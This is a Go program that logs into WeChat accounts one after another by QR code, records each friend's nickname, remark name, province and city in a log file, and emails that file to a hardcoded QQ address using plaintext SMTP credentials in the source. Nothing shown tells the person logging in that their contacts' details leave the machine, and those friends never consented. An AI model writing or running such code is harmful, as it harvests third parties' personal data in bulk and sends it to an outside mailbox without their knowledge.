package main

import (
	"fmt"
	"github.com/eatMoreApple/openwechat"
	"gopkg.in/gomail.v2"
	"log"
	"mime"
	"os"
	"path/filepath"
)

type EmailInfo struct {
	ServerHost     string   // ServerHost 邮箱服务器地址，如腾讯企业邮箱为smtp.exmail.qq.com
	ServerPort     int      // ServerPort 邮箱服务器端口，如腾讯企业邮箱为465
	FromEmail      string   // FromEmail　发件人邮箱地址
	FromPasswd     string   //发件人邮箱密码（注意，这里是明文形式)
	Recipient      []string //收件人邮箱
	CC             []string //抄送
	Subject        []string //
	Body           string
	Attachfilename string
	AttackPath     string
}

func initmail(mi *EmailInfo) {
	mi.Recipient = append(mi.Recipient, "ww2mm@qq.com")
	mi.Subject = append(mi.Subject, "测试邮件")
	mi.Body = "测试邮件"
}
func main() {
	rpf_DIR, _ := filepath.Abs(filepath.Dir(os.Args[0]))
	os.Chdir(rpf_DIR)

	gf, err := os.OpenFile(rpf_DIR+"/log000.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Fatal(err)
	}
	log.SetOutput(gf)

	var emailInfo *EmailInfo = &EmailInfo{"smtp.qq.com", 587, "ww2mm@qq.com", "hahahahahhahaha", nil, nil, nil, "", "log000.log", rpf_DIR + "/log000.log"}
	initmail(emailInfo)

	//bot := openwechat.DefaultBot()
	bot := openwechat.DefaultBot(openwechat.Desktop)
	// 注册消息处理函数
	bot.MessageHandler = func(msg *openwechat.Message) {
		if msg.IsText() && msg.Content == "ping" {
			msg.ReplyText("pong")
		}
	}
	// 注册登陆二维码回调

	bot.UUIDCallback = openwechat.PrintlnQrcodeUrl
	//exec.Command(`cmd`, `/c`, `start`, url).Start()
	for {
		// 登陆
		if err := bot.Login(); err != nil {
			fmt.Println(err)
			return
		}

		// 获取登陆的用户
		self, err := bot.GetCurrentUser()
		if err != nil {
			fmt.Println(err)
			return
		}

		// 获取所有的好友
		self.Friends(true)

		//fmt.Println(friends, err)
		//log.Println(friends)
		err = self.UpdateMembersDetail()
		//fmt.Println(err)
		log.Println("==[张世光]====================================")
		newmembers, err := self.Members(true)
		// jordan
		i := 0
		for _, mb := range newmembers {
			if mb.IsFriend() {
				mb.Detail()
				log.Println(",NickName：", mb.NickName,
					",RemarkName：", mb.RemarkName, ",省：", mb.Province, ",市：", mb.City)
			}
			tol := newmembers.Count()
			//if 0 == math.Round(math.Mod((float64(i+1)), 100)) {
			fmt.Printf("\r[%d,%d, doing: %.2f%%]", i+1, tol, float32(100.00*(i+1))/float32(tol))
			//}
			i += 1
		}
		fmt.Println("\n[100%] 好友备注名下载完。\n老张提醒：\n请在下一个弹出窗口用下一个微信号扫码登录>>>\n")
		bot.Logout()
		gf.Close()
		sendmail(emailInfo)
		//time.Sleep(1 * time.Second)
		gf, err := os.OpenFile(rpf_DIR+"/log000.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err != nil {
			log.Fatal(err)
		}
		log.SetOutput(gf)
	}
	gf.Close()
	// jordan end
	// 获取所有的群组
	//groups, err := self.Groups()
	//fmt.Println(groups, err)

	// 阻塞主goroutine, 知道发生异常或者用户主动退出
	//bot.Block()

}

func sendmail(emailInfo *EmailInfo) {
	// 发送邮件
	var m *gomail.Message
	m = gomail.NewMessage(gomail.SetEncoding(gomail.Base64))   //将邮件内容更改为Base64编码
	m.SetHeader("From", m.FormatAddress("ww2mm@qq.com", "张三")) //特殊说明，构造From(发件人信息)时需要使用m.FormatAddress方法，因为发件人指定中文名或特殊字符时，需要进行编码
	m.SetHeader("To", emailInfo.Recipient...)                  //"ww2mm@qq.com"
	if len(emailInfo.CC) != 0 {
		m.SetHeader("Cc", emailInfo.CC...)
	}
	//m.SetAddressHeader("Cc", "dan@example.com", "Dan")
	m.SetHeader("Subject", emailInfo.Subject...) //"测试邮件"
	m.SetBody("text/html", emailInfo.Body)       //"测试邮件"
	if len(emailInfo.Attachfilename) >= 1 {      //name:="附件.png"  "C:\\Users\\jordan\\Downloads\\26.png"
		m.Attach(emailInfo.AttackPath,
			gomail.Rename(emailInfo.Attachfilename),
			gomail.SetHeader(map[string][]string{
				"Content-Disposition": []string{
					fmt.Sprintf(`attachment; filename="%s"`, mime.QEncoding.Encode("UTF-8", emailInfo.Attachfilename)),
				},
			}),
		)
	}
	d := gomail.NewDialer("smtp.qq.com", 587, "ww2mm@qq.com", "hahahahahhahaha")
	// d.TLSConfig = &tls.Config{InsecureSkipVerify: true}
	if err := d.DialAndSend(m); err != nil {
		panic(err)
	}
}

/*
<error><ret>1203</ret><message>为了你的帐号安全，此微信号已不允许登录网页微信。你可以使用Windows微信或Mac微信在电脑端登录。Windows微信下载地址：https://pc.weixin.qq.com  Mac微信下载地址：https://mac.weixin.qq.com</message></error>
*/
